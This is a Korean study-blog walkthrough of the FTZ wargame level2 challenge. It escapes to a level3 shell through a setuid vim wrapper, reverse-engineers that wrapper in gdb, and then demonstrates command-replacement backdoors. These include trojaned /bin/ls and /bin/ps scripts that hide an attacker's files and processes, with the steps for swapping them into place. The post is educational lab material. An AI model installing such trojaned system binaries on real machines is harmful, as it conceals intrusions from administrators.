본문 바로가기

Learning/└◆Reversing

03_level2 -> level3[FTZ] vi 편집기 백도어

 


■ Level2 -> Level3


 

목적

편집기 사용법

) --> 

) --> 

) --> 

Level2 문제에 도전하기

) --> 

level2 사용자로 로그인

-> ID/PASS: level2/hacker or cracker

) --> 

[level2@ftz level2]$ ls -l

 

-rw-r--r-- 1 root root 60 323 2000 hint

drwxr-xr-x 2 root level2 4096 224 2002 public_html

drwxrwxr-x 2 root level2 4096 116 2009 tmp

 

) --> 

[level2@ftz level2]$ cat hint

 

) --> 

텍스트 파일 편집 중 쉘의 명령을 실행시킬 수 있다는데...

) --> 

 

) --> 

[level2@ftz level2]$ find / -user level3 -perm -4000 2>/dev/null

 

/usr/bin/editor

 

) --> 

[level2@ftz level2]$ ls -l /usr/bin/editor

 

-rwsr-x--- 1 level3 level2 11651 819 12:58 /usr/bin/editor

$ expr 11651 / 1024 = 11Kb 용량이 작은것으로 보아 이 프로그램이 아닌 것 같다.

) --> 

[level2@ftz level2]$ which vi

 

alias vi='vim'

/usr/bin/vim

 

) --> 

[level2@ftz level2]$ ls -l /bin/vi

 

-rwxr-xr-x 1 root root 456108 212 2003 /bin/vi

 

) --> 

[level2@ftz level2]$ ls -l /usr/bin/vim

 

-rwxr-xr-x 1 root root 1893740 212 2003 /usr/bin/vim

 

) --> 

[참고] 필요하면 명령어 수행

# /bin/vi

# /usr/bin/vim

) --> 

[level2@ftz level2]$ /usr/bin/editor

 


~

~

~                              VIM - Vi IMproved     개선된 vi 편집기

~

~                               version 6.1.320

~                           by Bram Moolenaar et al.

~                 Vim is open source and freely distributable

~

~                        Help poor children in Uganda!

~                type  :help iccf<Enter>       for information

~

~                type  :q<Enter>               to exit

~                type  :help<Enter>  or  <F1>  for on-line help

~                type  :help version6<Enter>   for version info

~

~

~

:! id 


uid=3003(level3) gid=3002(level2) groups=3002(level2)


Hit ENTER or type command to continue<ENTER>

:! bash 

편집기 사용중 쉘의 명령을 사용할 수 있다.(HINT)

) --> 

[level3@ftz level2]$ my-pass

 

) --> 

Level3 Password is "can you fly?".

) --> 

 

) --> 

[level3@ftz level2]$ exit

 

exit

) --> 

shell returned 37

) --> 

Hit ENTER or type command to continue

<ENTER>

:q!

 

) --> 

[level2@ftz level2]$ telnet localhost

level3/can you fly?

) --> 

[level3@ftz level3]$ exit

[level2@ftz level2]$

) --> 

) --> 

[용어] 편집기 백도어

) -->해당 에디터 분석 

) --> 

) --> 

) --> 

리버싱을 통한 의사 코드 복원

) --> 

[level2@ftz level2]$ gdb /usr/bin/editor

 

GNU gdb Red Hat Linux (5.3post-0.20021129.18rh)

Copyright 2003 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you are

welcome to change it and/or distribute copies of it under certain conditions.

Type "show copying" to see the conditions.

There is absolutely no warranty for GDB. Type "show warranty" for details.

This GDB was configured as "i386-redhat-linux-gnu"...

(gdb) disas main

Dump of assembler code for function main:

0x08048360 <main+0>: push %ebp

0x08048361 <main+1>: mov %esp,%ebp

0x08048363 <main+3>: sub $0x8,%esp

0x08048366 <main+6>: and $0xfffffff0,%esp

0x08048369 <main+9>: mov $0x0,%eax

0x0804836e <main+14>: sub %eax,%esp

0x08048370 <main+16>: sub $0x8,%esp

0x08048373 <main+19>: push $0xbbb               0xbbb : (10진수) 3003 <-level3의 ID값

0x08048378 <main+24>: push $0xbbb               0xbbb : (10진수) 3003

0x0804837d <main+29>: call 0x80482a0 <setreuid> int setreuid(uid_t ruid, uid_t euid);

0x08048382 <main+34>: add $0x10,%esp

0x08048385 <main+37>: sub $0xc,%esp

0x08048388 <main+40>: push $0x8048444           x/s값 "/bin/vi"

0x0804838d <main+45>: call 0x8048280 <system>

0x08048392 <main+50>: add $0x10,%esp

0x08048395 <main+53>: leave

0x08048396 <main+54>: ret

0x08048397 <main+55>: nop

End of assembler dump.

(gdb) x/2x 0x8048444

0x8048444 <_IO_stdin_used+4>: 0x6e69622f 0x0069762f

(gdb) x/s 0x8048444

0x8048444 <_IO_stdin_used+4>: "/bin/vi"

(gdb) quit

 

) --> 

분석한 내용을 바탕으로 의사 코드로 복원해 보면 다음과 같다.

# vi /usr/bin/editor.c

 

#include <stdio.h>

) --> 

int main()

{

) --> 

setreuid(3003, 3003);

system("/bin/vi");

) --> 

}

편집기를 사용할 때 level3의 권한을 얻는다.

) --> 

의사코드를 통해 알수 있는 내용

편집기 백도어 프로그램

) --> 

 


기존 프로그램을 대치하는 프로그램(쉘 스크립트)


기존의 프로그램을 대치하는 프로그램

=> 목적-백도어같은 프로그램이 실행되어있는지 알 수 없도록

좋은용도/나쁜용도


(linux200)

) --> 

(목적) 좋은 용도(EX: /usr/bin/passwd)

) --> 

/usr/bin/passwd

/usr/bin/passwd 명령어를 사용할 때 누가(id CMD)/언제(data CMD) 실행했는지


별도의 로그 파일에 기록할 수 있는가?

) --> 

# vi /root/bin/passwd

 

#!/bin/bash

) --> 

id >> /test/passwd.log

date >> /test/passwd.log

echo >> /test/passwd.log

) --> 

/usr/bin/passwd.old $*                  /* # mv /usr/bin/passwd /usr/bin/passwd.old */

$* 인자 전체를 나타낸다.

) --> 

# touch /test/passwd.log

# chmod 777 /test/passwd.log 테스트용 퍼미션, 다른사용자는 볼수 없게하려면 600퍼미션

) --> 

# chmod 755 /root/bin/passwd

) --> 

# mv /usr/bin/passwd /usr/bin/passwd.old

# cp /root/bin/passwd /usr/bin/passwd

) --> 

# passwd user01

관리자가 passwd user01을 치면 /root/bin/passwd에 적은 것을 실행하고 실행하기 때문에 사용자는 모르고 

 

Changing password for user user01.

New UNIX password: (user01)

BAD PASSWORD: it is based on a dictionary word

Retype new UNIX password: (user01)

passwd: all authentication tokens updated successfully.

 

-> 관리자의 암호 변경

) --> 

# cat /test/passwd.log

 

uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)

Tue Dec 23 11:20:39 KST 2014

) --> 

 

) --> 

(복원작업)

# mv /usr/bin/passwd.old /usr/bin/passwd

) --> 

) --> 

==============================================================================

) --> 

(목적) 악의적인 용도(EX: /bin/ls)

) --> 

/bin/ls(Orignal program) ==== 교체 ====> /bin/ls(Hacker's program)

# ls

-> 내가 설치한 프로그램은 안보이도록 설정

-> 파일 이름: hacker_file

) --> 

) --> 

/bin/ps(Orignal program) ==== 교체 ====> /bin/ps(Hacker's program)

# ps -ef

-> 자신이 띄운 프로세스는 안보이도록 설정

-> 프로세스 이름: hacker_process

) --> 

) -->Fake ls 명령어 생성 


/bin/ls 명령어를 대신할 /root/bin/ls 명령어 만들기(Fake ls)

# vi /root/bin/ls

 

#!/bin/bash

) --> 

/bin/ls $* | grep -v hacker_file

 

=> v옵션을 통해 hacker_file을 제외시킨다.


# chmod 755 /root/bin/ls

) --> 

# cd /test

# touch hacker_file


# /root/bin/ls -l

 

-rw-r--r-- 1 root root     75 Jan 18 22:10 backdoor.c

-rwsr-xr-x 1 root root 736348 Jan 18 22:02 bash

-rwxr-xr-x 1 root root   5150 Jan 18 22:11 bashshell

-rwxrwxrwx 1 root root    118 Jan 20 17:01 passwd.log

 

-> hacker_file 파일이 보이는가?

) --> 

# /bin/ls -l

 

-rw-r--r-- 1 root root     75 Jan 18 22:10 backdoor.c

-rwsr-xr-x 1 root root 736348 Jan 18 22:02 bash

-rwxr-xr-x 1 root root   5150 Jan 18 22:11 bashshell

-rw-r--r-- 1 root root      0 Jan 20 17:32 hacker_file

-rwxrwxrwx 1 root root    118 Jan 20 17:01 passwd.log

 

-> hacker_file 파일이 보이는가?

) --> 

# /root/bin/ls -altr

 

-rwsr-xr-x  1 root root 736348 Jan 18 22:02 bash

-rw-r--r--  1 root root     75 Jan 18 22:10 backdoor.c

-rwxr-xr-x  1 root root   5150 Jan 18 22:11 bashshell

drwxr-xr-x 24 root root   4096 Jan 20 16:47 ..

-rwxrwxrwx  1 root root    118 Jan 20 17:01 passwd.log

drwxr-xr-x  2 root root   4096 Jan 20 17:32 .

 

=> 대치시키지 않아서 적용은 안되지만 /root/bin/ls를 사용하면 볼 수 없는걸 알 수 있다.



# /root/bin/ls /root/bin/*.sh

 

/root/bin/add_userlist.sh

/root/bin/arp.sh

/root/bin/auto_ftp2.sh

/root/bin/auto_ftp.sh

/root/bin/auto_telnet_ftp.sh

/root/bin/banner_telnet.sh

/root/bin/bomb_exec.sh

/root/bin/bomb.sh

.... (중략) ....

 


) --> 

/bin/ls(Orignal program) ==== 교체 ====> /root/bin/ls(Hacker's program)

# cp /bin/ls /bin/ls.old

# cp /root/bin/ls /bin/ls

# vi /bin/ls

/bin/ls.old $* | grep -v hacker_file



) --> 

[실습] ps 명령어 실습

[TERM1] 명령어1 터미널

# vi /root/bin/ps

 

#!/bin/bash

) --> 

/bin/ps "$*" | egrep -v hacker_process

 

) --> 

# chmod 755 /root/bin/ps

) --> 

# cd /test

# vi hacker_process

 

#!/bin/bash

) --> 

sleep 86400

 

) --> 

# chmod 755 hacker_process

# ./hacker_process

) --> 

[TERM2] 명령어2 터미널

# /root/bin/ps -ef | grep hacker_process

#

-> hacker_process 프로세스가 보이는가?

) --> 

# /bin/ps -ef | grep hacker_process

 

root 6290 5983 0 11:36 pts/1 00:00:00 /bin/bash ./hacker_process

 

-> hacker_process 프로세스가 보이는가?

) --> 

   ■ /bin/ps(Orignal program) ==== 교체 ====> /root/bin/ps(Hacker's program)

   # cp /bin/ps /bin/ps.old

   # cp /root/bin/ps /bin/ps

   # vi /bin/ps

   /bin/ps.old "$*" | egrep -v hacker_process